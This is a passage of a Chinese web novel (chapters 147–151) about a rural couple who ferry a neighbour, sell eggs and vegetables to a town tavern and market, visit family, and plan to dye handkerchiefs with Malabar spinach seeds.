驴车吱呀吱呀出了门,顺着走惯的土路一直往前。 顾兰时坐在板车上,听见身后院子里传来两声吠叫,像是知道他俩已经出去了,狗叫声又止歇。 刚从狗窝里爬出来的灰灰抻个懒腰,张大嘴又打了个哈欠,见食盆里放好了馒头,它懒洋洋的,也不甚饿,又进窝里睡觉。 狗安静下来,被叫声惊扰到的母鸡们也不再咕咕咕叫,都缩在鸡窝里等待太阳出来。 而另一边,裴厌和顾兰时赶着驴车进了村子,这会儿太早,只有两三户人家有动静。 驴车还没驶出村,裴厌就看见前头一个较为眼熟的身影在赶路,个头不高,挺瘦的,到跟前后果然是徐启儿。 第147章 听见后面车轱辘声,徐启儿回头看,见是裴厌两人,他停下来说道:“裴厌哥,兰时哥哥,这么早去镇上?” 村里人都知道他俩做卖菜的生意,这一大清早,板车上都是菜筐子,很明显是要去宁水镇。 “嗯。”裴厌答道。 顾兰时好奇询问:“你什么时候回来的,昨儿傍晚我还来这边转,怎么没见你?” 徐启儿开口:“昨天下午回来的,买了些面,在家给瑞儿蒸馒头和野菜馍馍,忙完天也晚了,就没出门。” “这会儿是去哪儿?”顾兰时又问道。 徐启儿说:“十全村那边,要赶早过去,一大早就得干活。” 顾兰时笑着说:“正好,我们去镇上,路过那边,你上来,载你一程,也省些脚力。” 徐启儿没有犹豫,能尽早去十全村最好,他上车后坐在板车后面,没有和顾兰时靠太近。 毛驴拉着车继续走,坐在前面的裴厌说道:“不走村路,等会儿就拐上官道,跑起来快,到十全村后,你从村子另一边进去,虽饶了点,官道离那边村口也不算远。” 能有车坐,徐启儿哪里敢挑剔,这可比他走路过去快多了,连忙说道:“嗯嗯,我知道,裴厌哥。” 见他如此拘谨,顾兰时笑着岔开话:“收秋回来吗?” 再过十天半月,稻谷就熟了。 夏天时徐家人帮徐启儿在十全村那边找了活,给一户姓钱的人家做长工,好歹每月能领工钱,吃住也包,比在外面做零工更安稳,因此家里只剩徐瑞儿。 徐启儿说道:“家里只有一亩水田,地薄,我昨天回来时先去地里看了才回家,柴豆还好,谷子收成就那样,瑞儿虽说年纪小,还算勤快,两样粮食日子是岔开的,不打紧,我也问过了,他说自己一个人行。” 他抿嘴罕见地露出个笑容,又说:“拿了东家的钱,吃住也在那里,收秋得先紧着人家。” “嗯,也是。”顾兰时点点头,没忍住问道:“在那边怎么样?吃住都还行?” 对他俩,徐启儿打心底里感激,没有任何隐瞒,开口道:“钱大爷心善,收了我,平时也不打骂,赵大娘性子急了些,常常听见她骂人,但没有坏心,一天能吃三顿呢,早食简单,啃个糙馒头什么的,天冷了有热茶水喝,两顿正饭也不糊弄,多少都会炒一道菜,我和陈哥住一屋,夏天刚去时我俩修过屋顶,换了稻草,不怕漏风漏雨,平时我俩轮换着扫屋子,有时也做些杂活,扫院子喂猪打草什么的。” 听他言语间并无被苛待的愁绪苦恨,顾兰时放了心,之前徐家给徐启儿找活干的时候他听人说过,不止找了十全村的钱家,还有附近另外两三家大户,但人家都不愿意,毕竟徐启儿瘦小,不够身强力壮。 人家花钱雇长工,还要包吃包住,为的就是雇个壮劳力好干活,五六月割麦,八九月收稻,年年几乎都要赶着天气抢收,要的就是一个力气。 至于钱大户家,原本有一个长工,但随着他家日子越好,又多买了几亩地,可不得再雇个人。 徐家人是如何在其中谈价说情的,外人不是那么清楚,不过从钱家能雇徐启儿去干活,也确实是心善,没有嫌弃他瘦小单薄。 “昨天回来,赵大娘还偷摸给了我两块点心。”徐启儿忍不住说道。 这两月他一直在钱家干活,大半个月才回来一次看看弟弟怎么样了,这次回来还住了一晚,上次回家没待一会儿又走了,很少能有个知根知底的人说这些。 正好碰见顾兰时和裴厌,日子好不容易过得顺当了一点,钱家人的好他记得,心里不免感激,话就多了些。 顾兰时笑着说:“我也听人说了,钱家人都不错。” 徐启儿对此赞同不已,点着头道:“是呢,钱家几个哥哥也都是爽利人,少有苛责的时候。” 驴车从岔路口往东边的道上拐去,再往前跑了一段路后,径直上了官道。 坐在前面的裴厌说道:“蒙好口鼻。” 一上官道,路平坦了,毛驴跑的就快,顾兰时把颈子上的围脖子往上一拉,连嘴巴鼻子一起护住,把长耳帽子的绳儿也在下巴处绑好,两腿夹紧身前的蛋筐,随着毛驴跑起来后,风果然大了,呼呼在耳边刮。 他转头去看徐启儿,还好,虽然不知从哪里弄了个破帽子,好歹能护住头和耳朵,见对方没有围脖子,他闷声闷气说道:“低头,把口鼻埋进领子里,别抬头说话了,冷风灌进去可不好受。” “嗯。”徐启儿一一照着他的话做,果然不再说话了。 到十全村附近后,裴厌拽一拽缰绳,毛驴慢下来,等到了去十全村的路口,他拽着毛驴停下来。 徐启儿下车后,对蹭了驴车这事还有点不好意思,说道:“兰时哥哥,裴厌哥,多谢了。” 顾兰时笑道:“嗐,客气什么,我们也是顺路,这就走了。” 毛驴撒开蹄子又跑起来,这会儿路上倒是有了几个早早出门的人,或走路或赶车,看见别的人影后,到底叫人心安了些。 徐启儿看着他俩很快远去,这才搓着手哈了哈热气往十全村那边走。 对他来说,每天在东家干活累是累了些,但总算安稳下来,不用到处奔波打零工,也不用连累三爷爷和其他亲戚为了他给人家赔笑脸说好话,有了点奔头。 因他瘦弱些,一个月工钱只有一百二十文,一般来说,刚给人做工的长工,一个月工钱在一百五十文左右,钱家人心善,但也不是傻子,毕竟还要管吃住,乡下大户能给一百五十文算不错的,干几年干的好了,东家或许会给涨点钱。 和他一起做工的陈哥,在钱家干了好几年活,人又老实本分,工钱肯定比他高,至于到底多少,他没有瞎打听,不然要遭人厌烦。 在钱家,徐启儿只管干活,做饭烧水什么的有赵大娘和她两个儿媳,省了这些事,也省了家里的一份口粮,每个月工钱是净落的。 只是苦了在家的弟弟,要自己做饭洗衣,还要挖野菜照管田地。 之前不是没想过把两亩薄田卖了,可对庄稼人来说,要是没有地种,就和没有根一样。 徐瑞儿虽然呆了点,但也知道要是不种地,他和哥哥吃喝全都得花钱买,一年到头哪里能挣那么多钱。 而种地就能打粮食,粮食再少,用新米新粮换些糙米糙面,不好吃是一回事,但斤数份量会多一些,勉强够一年的口粮,再不济,多掺点汤汤水水起码饿不死,因此也舍不得卖田。 今年新米还没打下来,还没有换糙米的东西。 徐启儿昨天之所以回去,是因为前两月的工钱发了,见下午活不多,同东家告了假,怀里揣着整整二钱四十文,先去白水村那边买了些糙面,回去后果然看见弟弟在吃煮的面糊糊。 家里虽然还有糙面,但徐瑞儿不知道下一顿饱饭在哪里,因此不敢大吃大喝,每一顿都俭省着。 头一回领到工钱,徐启儿高兴,蒸了两屉馒头外加一屉野菜馍馍,走时特地叮嘱徐瑞儿,让隔几天就吃顿饱足的,不要一直只吃个半饱。 之前在码头干活,运气好的时候一天能挣四五十文,一个月下来,其实比工钱多,但去码头吃喝是自己的,对他来说,到底不如做长工好。 工钱要攒起来,就得从牙缝里抠,肉蛋什么的吃不起,几个糙馒头还是吃得起的。 天还没亮,四周雾蒙蒙的,徐启儿脚下快了点。 * 一进宁水镇,裴厌赶着毛驴直奔上次那个酒馆。 车慢下来,但东边天际才有点亮,依旧很冷,顾兰时没有摘下口鼻处的围脖子,他用腿夹着竹筐,一路颠簸,也不知道里面的鸡蛋如何。 街道两边的店铺陆续开门,早食摊子也是刚出来的样子,才烧开的锅里冒着白汽。 天色还早,没几个人出来买菜,路上行人也稀少,只有跟他们一样早早赶来卖东西的农人,要么赶着去早集占个好位子,要么挑担沿街吆喝。 到了镇子西边的酒馆后,伙计打着哈欠睡眼惺忪从里面打开门,裴厌将口鼻处的布往下拉,说道:“伙计,老嬷在?上回让今儿过来送鸡蛋。” 一股子冷风吹来,伙计一下子清醒了不少,仰头看了他一眼认出来,搓着手笑道:“我记得,老嬷前几天也吩咐过,正好,厨子昨儿晚上还说该买些鸡蛋了,只剩下几个。” 顾兰时一听这话,心想没白来,眼里流露出一点笑意。 伙计又道:“这大门口,等会儿有食客,不好堵着人家,你们上后门那边,我给你们去开门。” “嗯。”裴厌答应道,牵着毛驴往后巷子口走。 走了一段路,顾兰时说道:“我还是下来,背着筐子吧。” 竹筐里装了约莫一百枚鸡蛋,再加上里面的稻草,也有十几斤,裴厌回头看着他道:“离得近,不差这几步,我走慢一点,你把蛋筐扶好就行。” 后巷子口离得确实不远,顾兰时没再说什么,两手老老实实抱着竹筐。 伙计已经开了门,见他俩到跟前了,朝后院喊一声,自己去大堂擦桌子放板凳。 驴车在后门口停下,顾兰时刚下板车,就看见一个胖胖矮矮的汉子从里头走出来,下意识的,他知道这人就是酒馆里的厨子。 第148章 早起冷,厨子边走边搓脸,见外头人已经到了,笑两声道:“这么早。” 裴厌也露出个笑,说:“老嬷交代过,让赶早来,鸡蛋已经备好了,大哥只管挑拣。” “好好,也省了我出门。”厨子说完又道:“我去拿蛋篮,这记性。” “成。”裴厌答应一声,他把车上的蛋筐抱下来,轻放在地上。 太阳穿破云层,天色彻底亮了,顾兰时凑过来,揭开筐盖,又把最上面一层稻草扒拉开。 今天要拉好几筐菜,驴车不好寄放在镇外,因此要连蛋筐一起拉进来,为了不让鸡蛋在车上颠簸乱碰,和之前一样,他俩给筐里垫了厚厚的稻草,底下算是软和了,不会磕碰到。 但鸡蛋之间若放在一起,同样会滚动,于是他俩把每一层用长稻草竖着隔成四个行当,每一行都能放五六个鸡蛋。 可这五六个鸡蛋之间没有隔档,也容易在一路颠簸中互相磕碰,乡下土路坎坷又多,一颠一颠的,于是他俩又想法子,把每一行里的鸡蛋再次隔开。 稻草太长不好塞进去,就剪短塞进鸡蛋之间的缝隙,垫的厚实,尽量弄得紧实了一点,鸡蛋不能轻易在筐里滚动,磕碰自然就少了,只是这样每一层就少放一两个鸡蛋。 顾兰时仔细看一遍,又拿起两个看看,说道:“好像没有磕破的。” 正说着,厨子的咳嗽声脚步声近了。 他放下鸡蛋,站起来往旁边让了让,对方是个汉子,有裴厌在,不用他跟人打交道。 裴厌抬手示意了一下地上的蛋筐,说道:“这里头都是鸡蛋。” 说完就弯腰从里头拿出两枚鸡蛋给厨子看。 见状,厨子上前,瞅一眼后,把手里的竹篮放在板车上,接过那两个鸡蛋看看,随手就搁到篮子里。 “下面还有几层,和老嬷说好了,先紧着馆子里挑拣。”裴厌在旁边说道。 “好说好说。”厨子口中附和了一句。 他买惯了灶上用的东西,人也不是婆婆妈妈的,见这些鸡蛋个头都可以,没有太大或太小的,都很均匀,因此只要没有磕碰他就往篮子里挑。 最上面一层约莫有二十个鸡蛋,除了几个沾了太多鸡粪的,都被挑进了竹篮里,顾兰时站在旁边没言语,心里默默记着数。 “我来吧。”裴厌把剩下的鸡蛋暂时放在取出来的稻草上,又把用来分隔的长长短短稻草归拢到一起两手抱出来,露出下面一层的鸡蛋。 “你这一筐装了多少个?”厨子问道。 裴厌开口:“一百个左右。” 厨子点点头,足够他挑拣了,于是又低头去拿,说道:“刚才是十五个,这是第十六个……” 怕自己没记清,他干脆边拣边念数,如此也明了,省得等会儿还要再数一遍,鸡蛋这东西得小心拿放,来回倒腾没甚意思。 拣了三十个鸡蛋后,胖厨子直起腰看着板车上的东西想了一下,说:“如今天凉了,东西都好放,既然你们给送来,这样,我再去拿个篮子,再拣三十个。” “行。”裴厌应道。 厨子提了蛋篮进去,很快又拿了个空的出来,说起来他第一个拿的竹篮挺大的,只是鸡蛋价钱不低,放多了堆起来,万一碰着装着,弄碎了他可不好跟老板交代,不得不谨慎些。 这次又数了三十个鸡蛋,不止顾兰时,连裴厌也忍不住有点高兴,见厨子视线落在菜筐上,他开口道:“大哥……” 说到这里,他顿一下,笑着询问道:“不知大哥贵姓。” “免贵姓蒋,你……”胖厨子说道。 裴厌笑着说:“原来是蒋大哥,我姓裴,小河村人,蒋大哥,这些菜都是早起刚摘的,都新鲜,您看看。” 蒋厨子抓起一把秋豇豆,看着挺鲜绿,并无蔫黄之状,他用拇指指甲用力在一根豇豆上一掐,豇豆很容易就断了,他点点头,道:“确实新鲜,怎么卖的?” “都是市价。”裴厌说着,从旁边筐子里拿出一根紫色的秋茄,又道:“这一茬茄苗种的晚,刚开始结茄瓜。” 这几年有的农人为多卖一段时日的菜蔬,想了些法子,家里地多的,会分开几茬栽菜苗,只要时节合适,如此就能一茬一茬收获,蒋厨子知道,并不为奇。 菜都送到门口了,如此方便,市面上卖的菜差不多就是这几样,虽然没有早集那边全乎,却也省了些力气。 没一会儿,蒋厨子挑好各样菜后,顾兰时把豇豆蒿菜什么的捋成一束束,然后用柔韧的稻草捆扎好,递给裴厌挂在称上称。 卖菜自然要带秤杆,裴厌每次称好,都把秤杆上的准星给蒋厨子看一眼。 蒋厨子也是细心的人,并不觉得多此一举,他手里的卖菜钱都是东家给的,无论他自己从中偷摸刮一点什么,斤数足了才放心。 这年头,不老实的商贩他不是没碰见过,也曾吃过几次亏,头一回和这两人打交道,还不清楚对方底细,肯定要谨慎些。 裴厌帮着蒋厨子把所有东西拿进后院,听见他俩在院里算账,顾兰时在门外一边把放在外面的鸡蛋收回筐子里一边等,没有出声打搅。 无论菜还是鸡蛋,都是按市价来,酒馆里的人出去买菜原本就是市价,因此并无价钱上的冲突。 当裴厌把三文钱的零头抹了后,蒋厨子喜笑颜开,本就胖的脸上肉挤在一起,眼睛都快成一条缝。 “薄皮馄饨一碗,米粥一碗,咸菜一碟!” 前头大堂传来伙计的高声吆喝,蒋厨子听到,笑着说:“馆子里忙,也不留你们了,下回送鸡蛋的日子也同你定一下,这样,过六七天吧,到时也来早些,再带些菜瓜,能买就在你这儿都买了。” “行,我记下了,那蒋大哥,我先走了。”裴厌说完没有多留,一拱手略行个礼,蒋厨子连忙回礼。 顾兰时在门外等着,见裴厌出来,脸上露出个高兴的笑,在人家门口,他没有多问,只说道:“这就走?” 裴厌还没说话,他又道:“我刚看了眼,巷子里人家不少呢,咱俩吆喝几声?” “好。”裴厌见车上的筐子都放好了,一些菜直接摆在车上,是顾兰时刚才特地放出来的,好叫买菜的人一眼就看到,他没有再去动,拉着毛驴缓缓往巷子里头去。 巷子外的大街上各种叫卖声渐渐起了,顾兰时嗓音脆又高:“鸡蛋——茄子葫芦瓜——各种菜都有——” 第149章 不知不觉间,牵着驴车走街串巷成了两人无比熟悉的事,顾兰时以前对宁水镇不甚熟悉,到今天已经记下镇子东边西边还有南北两头都有什么铺子,一些街道和巷子的名字也知道。 早集那边人多,他俩一路吆喝着,往东边早集赶,还没到鱼嘴巷呢,顾兰时视线在前面一扫,只觉迎面走来的妇人瞧着分外眼熟,再看一眼才发现,原来是陈三儿老婆。 对方显然也认出了他俩,脚步微顿,露出个笑招呼:“是你们,这么早就来卖菜。” 陈三儿和他老婆都比他俩大一些,顾兰时笑道:“嫂子,这不是刚来没一会儿。” 陈三儿老婆胳膊上挎了个竹篮,她看一眼板车,在镇上和陈三儿干过不少小生意,她嘴巴没那么厉害,却也不怕同人打交道,问道:“今儿拉了什么菜?有茄子吗?” “有呢,茄子葫芦瓜还有蒿菜和豇豆,秋辣子南瓜也有,迟种的冬瓜带了两个小的,嫂子尽管来看。”顾兰时笑着开口,裴厌将驴车往旁边的空地牵,省得占道。 陈三儿老婆上前,昨晚儿子说想吃茄子了,她在院里栽的茄子遭了虫,叶子都给吃光了,没办法只能拔了茄苗,这时节再种已经迟了,想吃茄子只好在外头买。 见茄子新鲜,她捡着没压痕的茄子拿了三根,说道:“这几个就行了,我再看看辣子。” “好,嫂子尽管看。”顾兰时把这三根茄子根蒂部用稻草缠了两圈捆好,拿起秤用钩子勾住,称好后他示意陈三儿老婆来看。 陈三儿老婆瞅一眼,见秤杆给的高,笑着说:“还能不放心你们?” 茄子和辣子各买了些,给了钱后,又说两句客套话,陈三儿老婆转身就进了鱼嘴巷。 除了在镇外看车挣一点钱外,但不是每天生意都好,只有赶集过节的时候,全家才上镇外帮着一起看车揽生意。 为好过一点,他家还卖一点零七八碎的杂货,她儿子隔三差五会挑担去附近乡下的村子里转悠卖货,家里日子还算过得去,但也得精打细算,花十一二文买两样菜就行了。 顾兰时把手里的铜板装进钱袋,又把钱袋揣进怀里,见街上有挎着篮子出来买菜的人,这会儿太阳出来,照在身上脸上,没有那么冷了,他心情很好,再次吆喝起来。 裴厌牵着驴车往前走,时不时让夫郎歇歇,自己出声叫卖。 不过他一个人高马大的汉子,又是个刀疤脸,有点年纪的人还好,管他卖菜的人是谁,买到新鲜便宜的菜就行。 太年轻的妇人和夫郎还未经过太多事,脸皮又薄,想过来看看菜,却有些犹豫不定,每到这时,顾兰时都会笑着同对方搭话,也会用眼神示意裴厌和和气气揽客,一路走到早集倒也卖了些菜和鸡蛋。 他俩先去的镇子西边,早集在东边,各种耽误来得迟了,靠外好的位子早就有了人,交了市金后只能牵着驴车往里寻找位置。 * 做买卖生意多看运气,今儿卖的就不太行,无论鸡蛋还是菜都没卖完,眼见太阳大了,家里还有活呢,不能一直在这里等。 两人把摆出来的菜收回竹筐里,太阳一晒,有的菜瞧着都没那么水灵了。 至于鸡蛋,还有二十来个呢,顾兰时仔细把里面的稻草都垫好,这才和裴厌一起往外面走。 他俩今天起得很早,尽管吃过包子,这会儿胃里也空了,看到街边有卖吃的,商量了一下,顾兰时摸出六枚铜板,到油酥饼摊子前买了两个。 炉火烤烧饼便宜,两文钱一个,但没有油酥饼那么香,要是苗秋莲和顾铁山,肯定会买便宜的,垫垫肚子就行了,何必多花那两文钱。 两三口啃完油酥饼,胃里有了食踏实了点。 出了宁水镇后,顾兰时坐上板车,裴厌同样坐在前面,手里鞭子在空中一甩,毛驴踏踏踏就往前跑。 赶车说话不方便,顾兰时只在心里盘算等会儿回去做饭的事,煮粥有点来不及了,热几个包子和糙馒头,再捞一块咸菜切了,喝点热水,先吃饱再说,饿得都有点来不及炒菜。 一上官道,驴车跑得更顺当,路上行人也比清早多,刚跑出二里地左右,驴车突然慢下来。 “怎么了?”顾兰时疑惑问道。 裴厌拽着缰绳让毛驴停下,随后回头说道:“好像迎面那个人是大舅舅。” “啊?”顾兰时也跟着回头去看,刚才驴车跑得快,已经掠了过去,不过看背影,确实有点熟悉。 “舅舅!”顾兰时拔高声音喊道。 那人下意识回过头看,果然是苗家大舅舅。 裴厌随即拽着缰绳让毛驴掉转了方向,走到跟前后问道:“大舅舅上哪里去?” 苗成才背了个竹筐,瞧着也沉,绑了筐盖,也不知道里头是什么。 见是自己外甥,他笑道:“我说听着熟,怪不得,原是我们兰哥儿和姑爷。” “这不是家里几只母鸡老了,你大舅母让去镇上卖了,正好,我去镇上也有点事,一起去办了。” 虽说二里地不远,但背着几只母鸡赶路也累,裴厌没有犹豫,说:“那舅舅上车,我送你过去。” 苗成才摆摆手:“就这么点路,我走着就行了,你俩一大早就出来了?” 顾兰时说道:“舅舅,驴子跑得快,还不用你背筐子,也不耽误我俩什么,就二三里地。” “不耽误,我俩又没急事,不赶着回去。”裴厌松开缰绳下去,半是劝半是直接上手,帮着苗家舅舅把筐子卸了下来。 一看如此,苗成才没有再推辞,等竹筐放好后,他扒着板车上去,坐下笑道:“也不必进去,送我到镇口就行,那里路又宽敞,好让毛驴掉转。” “嗯,知道了舅舅。”裴厌应道。 驴车跑起来颠簸,顾兰时同舅舅坐在车上闲聊,问问外祖,又问问舅母和几个表亲兄弟,无外乎就是些家长里短的闲话。 他有心想给舅舅拿些菜和蛋回去,可苗成才说他卖了鸡后要去办别的事,还不知道什么时候回去,带着东西叫人家看见了不给都不行,况且也累赘,只得作罢。 到底是亲舅舅,一听他俩给酒馆里送蛋送菜,苗成才一拍大腿,说怎么都给忘了,他同镇上的来福酒楼里的厨子认得,回头等他找那厨子吃顿酒说说情,说不定也能往酒楼里送菜什么的。 这事要是成了,以后可就稳定有钱赚,别说顾兰时,裴厌也上了心,有意想要请苗家舅舅和厨子去吃酒,总不能让舅舅掏这个钱。 不过苗家最近事多,苗成才让他俩先等着,后头找着机会肯定得让裴厌跟着一起。 第150章 天凉了,趁着这时节瓜果成熟,村里人更加忙碌,要赶在入冬前囤好各种人吃的口粮,牲口禽畜的草料也都要备下,一到深秋,万物凋零,野草野菜之类的东西会越来越少。 车轱辘从不平的地面碾过,随着小坑小洼的颠簸,坐在板车上的人免不了会摇晃。 进村子后,裴厌坐了一路,有点厌烦了,让毛驴慢下来,他下车走到前面牵着驴子走。 村口树下一改往日的热闹,只有两个年纪很大的夫郎坐在有太阳的地方,他俩也不说话,靠着椅背发呆,偶尔动动干瘪的嘴巴,牙齿早没了,不过能活到这岁数精神头还不错,在附近几个村子里都是高寿的。 顾兰时见裴厌下去,颠了一路回来,他坐的屁股也不舒坦,于是说一声,等驴车停下后,他也下去走路。 看见树下两人,他顺嘴问道:“老嬷晒太阳呢。” “嗯嗯。”两个老夫郎话少,闻言只朝他点点头,再没说什么。 顾兰时笑一下,他一个小辈,又不是亲戚本家,确实和老人不熟,他没再言语,走到裴厌身旁一起往村后去。 这会儿正是做饭的时候,从敞开的院门里能听到说话声和炒菜声。 路过钱义和家时,听到一阵骂声,顾兰时见怪不怪,哪家没个争吵,稍有个磕磕绊绊,就有上年纪的跳着脚在家骂儿媳骂夫郎骂儿子,更别说本就爱寻事嘴又损的曹小巧。 钱家东邻门口,林松树夫郎何四儿听见隔壁动静,他原本在家门口择野菜,情不自禁凑到钱家门口看热闹。 顾兰时本该叫一声阿嬷,但见对方探头忙着瞧热闹,根本顾不上别的,他不愿和曹小巧沾上边,也不爱看这种热闹,就没言语,跟裴厌径直走过去。 不少人家院门开着,能看见院里晒了不少菜干瓜干,近来柿子渐渐熟了,有趁柿子还硬,削掉皮一串串挂起来做柿饼的,也有切成条晒柿子干的。 一路走到村后,碰见不少人,顾兰时向来嘴巴乖,见人总会喊一声,裴厌也不例外。 家门口,驴车停下来,他俩没有立即进门。 “上头有一个,我去拿竹竿子。”顾兰时站在门口的柿子树下张望,太阳照下来,很容易找到熟透软了的柿子,和硬的黄柿子完全不同,软柿子是红的。 家里的竹竿顶端套了个布袋子,是他爹做的,看准了能把高处的软柿子够下来,掉在布袋子里不怕摔地上烂了。 二黑汪汪叫着,跑出来见是熟人,摇起尾巴不再凶了。 “娘!”顾兰时进门喊一声,先从院门后面拿了竹竿,一到柿子熟的时候,这根竹竿总在门后放着,连找都不用。 苗秋莲从屋里出来,只看见他的背影,竹竿自然也瞧见了,高声问道:“有熟的?” 顾兰时把竹竿给裴厌,回头朝里面说道:“有,我看见一个,让裴厌够下来。” 苗秋莲往外走,说:“今天忙,我也没看,你再找找,看还有别的没有,拿回去吃。” “岳母。”裴厌道一声,举起竹竿仰头去够刚才看见的那个。 苗秋莲和顾兰时站在树下也仰起脑袋。 柿子被戳下来,正好掉在布袋里,裴厌收回竿子,放低后顾兰时把柿子从里面拿出来。 布袋是软的,又在竹竿顶上绑着,红透的柿子没有摔破。 “这边有一个,在叶子底下。”苗秋莲伸手指着柿子树另一边说道。 裴厌走到那边,抬头找了一下,看见后又用竹竿去够。 顾兰时一边剥柿子皮一边说:“娘,我俩回来时碰见大舅舅了,他去镇上卖老母鸡,刚出镇子二三里地,裴厌赶车送舅舅到了镇口,我俩才再回来。” “是该这样。”苗秋莲笑道,那是她娘家亲大哥,两个小的这么懂事,她自然高兴。 红透的柿子很甜,比之前在山上摘的大一圈,顾兰时半是咬半是吸,嘴里瞬间盈满柿子的甜汁水。 见裴厌把那个够下来了,苗秋莲笑道:“姑爷快吃,省得兰哥儿贪嘴,快到饭时了,柿子可不能多吃。” “嗯。”裴厌没有客气,笑一下把竹竿靠在树上,跟顾兰时一样,站在那儿几口就把柿子吃了个干净,只剩皮和蒂。 “娘,菜还要吗,今天没卖完。”顾兰时掏出帕子擦擦嘴和手。 苗秋莲看一眼板车上的菜筐,说:“有茄子?那拿几个,家里这一茬老了,结的不多,这几个晒点茄干。” 顾兰时把茄子筐直接提下来,开口道:“那这些都给家里留着,我那儿茄苗栽的晚,还能结茄瓜。” 裴厌在旁边,苗秋莲客气推脱了几句,最后才收下。 顾兰时跟她进去放茄子,见家里其他人不在,问了一句。 原来后院篱笆老旧了,顾铁山带着狗儿他们上山砍竹子挖笋,估计没一会儿就回来。 竹筐空了,顾兰时提在手里,开口道:“娘,舅舅说他认得镇上来福酒楼的厨子,过几天得了空,让裴厌一起跟他去请人家吃酒,说不定以后能往酒楼里送菜送鸡蛋。” “这可是好事。”苗秋莲眼睛都亮了。 顾兰时笑了下,说:“我也就跟娘你说一声,刚才在外头都没敢提,省得最后没办成,还叫别人知道了。” 苗秋莲跟着他往外走,说道:“请人家吃顿好酒,再提点礼,酒楼里总是要买菜的,说不准就成了呢。” “嗯,这些舅舅也说了。”顾兰时道。 苗秋莲想起什么,开口道:“明天忙不忙?” “该是不忙,菜过几天才能再摘。”顾兰时又问道:“娘,是有什么事?” 苗秋莲笑着说:“能有什么大事,不过是见落葵种子紫了,想着染几块手帕,好看呢。” 和丝绢那样柔软轻薄的帕子不同,乡下人多是用麻布剪一块,缝缝边就能使,偶尔织一块棉布,剩下的边角料凑一块手帕,绣点花样软和又好看。 落葵结了一串串种子,已经变得黑紫,平时捏一个在手里,破了手指头会染上紫红,添点东西熬煮后确实能作染料,不过久了颜色容易褪变。 平时忙于各种活计,这样玩耍似的染几块布料,确实让人期待兴奋,顾兰时眼睛弯了弯,说:“正好,家里还有棉布,我剪几块,明儿就过来。” 苗秋莲说:“好,到时记得摘些落葵子,这东西小,就小指头蛋子那么点儿,家里这些不知道够不够,我还叫了你阿奶,几个伯娘,你两个嫂子知道了,也说要染两块呢。” “嗯,知道了,那娘,我俩先走了。”顾兰时答应着。 裴厌见他发了话,和岳母道一声就牵着毛驴往村后走,他听出是要用落葵种子染布,笑着问道:“染布做衣裳?” 顾兰时转头看着他:“不是,染两块手帕,哪有那么多的棉布糟蹋,万一染坏了。” 麻布没有棉布那么好上色,自家用落葵子熬的染料水也不如染坊里的好,不过是弄两块颜色鲜亮的帕子高兴高兴。 乡下人衣裳多是深色暗色,他俩也不例外。 顾兰时倒是有薄厚各一身蓝布衣裳,是成亲时买的布匹,平时不怎么穿,下水洗的次数也不多,颜色依旧鲜,走亲戚时才找出来换上,体体面面的。 原来是染手帕,裴厌点点头,再没说什么,牵着毛驴往林子里走,想起在镇上见到的那些衣着鲜亮的夫郎,甚至穿金戴银 他心中微动,转头见顾兰时心情颇好的模样,忍不住笑了一下,暂时没把心里那个念头说出来。 到家之后,别说人,狗和猪还有鸡鸭都饿了,猪说聪明也挺聪明,听见前院的动静,几头都在圈里高声哼哼叫。 灰灰跑到食盆跟前,舔一下空荡荡的盆底,再抬头看一眼顾兰时,喉咙里呜呜呜叫,它最小,平时也没有大黑和灰仔机灵,这会儿看起来倒是聪明了一点。 母鸡看见人回来,咕咕咕涌到篱笆后面催促。 前院后院登时乱糟糟的,顾兰时笑道:“我先给它们弄点吃的,省得乱叫。” “好。”裴厌让毛驴停下后着手解车套,饿一路回来都没那种饿劲了,刚才又吃了个柿子,暂时缓解了些。 狗最好喂,掰几个糙馒头,狼吞虎咽就吃完了,水碗里还有水,它们会自行去喝。 猪和鸡鸭毛驴也简单,先抱捆干草剁点菜叶子让去吃,不一会儿院里的动静都消停了。 等顾兰时和裴厌吃完,头顶太阳正大,起得太早,两人都有些困倦,于是进屋歇息。 桌上的竹筒里插着已经干了的花束,之前没舍得扔,到今天不扔都不行了。 裴厌已经在炕上躺下,见顾兰时一副舍不得的模样,他翻个身侧躺,看着桌前的人笑道:“明儿我出去打草,再摘一些回来。” “那好。”顾兰时喜滋滋把干枯的花从竹筒里抽出来,他懒得出去,顺手放在外面窗沿,走到炕边脱了鞋子爬上来,说:“以前不觉得,弄点花放在屋里好看呢。” 他从裴厌身上爬过去,在炕里躺下,找了个舒坦的姿势伸好腿脚,又说:“明年给院里栽点花,红红绿绿的,才漂亮。” 去年和今年只顾着种菜吃卖,都没想起来种花,外面野花春天时开得一片片挺好看,在院里种一点的话,推开窗就能看见。 “行。”裴厌答应道,刚翻身回来平躺好,腿上传来熟悉的重量,是顾兰时的腿,他习以为常,目光有点出神,在心里盘算买个什么比较好。 第151章 水井附近,顾兰时站在落葵菜架前摘黑紫色的种子,一个花串上结不少呢,熟了的其实更偏黑色,常常有小孩把这个叫黑豆豆。 他一颗颗摘进篮子里,偶尔使劲大了,落葵子的汁水弄到手指上,指腹染得紫红。 小时候以为落葵子和山上的浆果一样,他还吃过,但没什么太大的滋味,甚至有点酸涩,吃过一回就再没碰过,和同龄人只拿这个玩耍,弄得手上衣服上都是紫红。 还有小孩往脸上弄,涂得像个大花猫,大人看见顺手就照着脊背或后脑“啪”打一下,边骂边拽住孩子后衣领拉回家去洗。 摘了半篮子之后,顾兰时心想他娘在家也摘呢,应该够了,于是走到井边把竹篮放下,摇着辘轳打上来一点水,在井边洗了洗手后,朝院里喊道:“裴厌,我过去了。” “好。”裴厌正在院里用木叉翻草,等晒干透了以后才好堆积起来,留着冬天喂牲口。 院里的竹席还有竹匾上是昨天下午他俩或切或焯水的菜干条子,近来每次卖不完的菜蔬,他俩回来后只有一小部分会分给别人,剩下的全都带回来弄成菜干。 一场秋雨一场寒,到后面菜少,太阳也没这么好了,趁这时候要多弄点干菜。 大黑三个见顾兰时出门,都摇尾巴跟了上来。 既然裴厌在家,他没有呵斥狗让留下看家,任由它们三个跟着,院子再大,狗成天在里面闷着,也出去撒撒欢。 灰灰和灰仔很高兴,跑在前面,转头见他没跟上,冲着后面汪汪叫,似乎在催促。 顾兰时不着急,好容易今天没事做,不必走那么快,沿着林子里踏出来的小路,大黑跟在他后面不紧不慢迈着步子,秋风和爽,平日见惯的草木,今天变得分外顺眼。 不知不觉,他哼起听过的山歌调子,文词儿是什么记不大清了,只能想起曲调。 一进村,灰灰和灰仔认得门,率先跑了进去,下一瞬就听见二黑的吠叫。 顾兰时听见也没在意,他以前带大黑它们来过家里,和二黑都认识,果然,没几声就停了下来。 